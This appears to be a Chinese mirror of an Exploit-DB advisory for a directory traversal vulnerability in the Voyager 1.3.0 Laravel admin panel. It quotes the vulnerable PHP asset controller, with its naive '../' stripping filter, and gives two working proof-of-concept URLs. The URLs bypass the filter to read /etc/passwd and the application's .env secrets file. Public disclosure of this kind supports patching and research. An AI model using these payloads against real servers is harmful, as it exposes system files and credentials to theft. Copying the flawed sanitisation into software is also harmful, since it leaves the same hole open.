Voyager 1.3.0 – Directory Traversal - 体验盒子

作者： NgoAnhDuc

日期： 2020-01-06

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/47875/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

# Exploit Title: Voyager 1.3.0 - Directory Traversal

# Google Dork: N/A

# Date: January 2020-01-06

# Exploit Author: NgoAnhDuc

# Vendor Homepage: https://voyager.devdojo.com/

# Software Link:https://github.com/the-control-group/voyager/releases/tag/v1.3.0https://github.com/the-control-group/voyager/releases/tag/v1.2.7

# Version: 1.3.0 and bellow

# Tested on: Ubuntu 18.04

# CVE : N/A

Vulnerable code is in voyager/src/Http/Controllers/VoyagerController.php

========================================

public function assets(Request $request)

{

*$path = str_start(str_replace(['../', './'], '',

urldecode($request->path)), '/');*

*$path = base_path('vendor/tcg/voyager/publishable/assets'.$path);*

if (File::exists($path)) {

$mime = '';

if (ends_with($path, '.js')) {

$mime = 'text/javascript';

} elseif (ends_with($path, '.css')) {

$mime = 'text/css';

} else {

$mime = File::mimeType($path);

}

$response = response(File::get($path), 200,

['Content-Type' => $mime]);

$response->setSharedMaxAge(31536000);

$response->setMaxAge(31536000);

$response->setExpires(new \DateTime('+1 year'));

return $response;

}

return response('', 404);

}

========================================

PoC:

passwd:

http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2Fetc/passwd

Laravel environment

file:http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F<web

root dir>/.env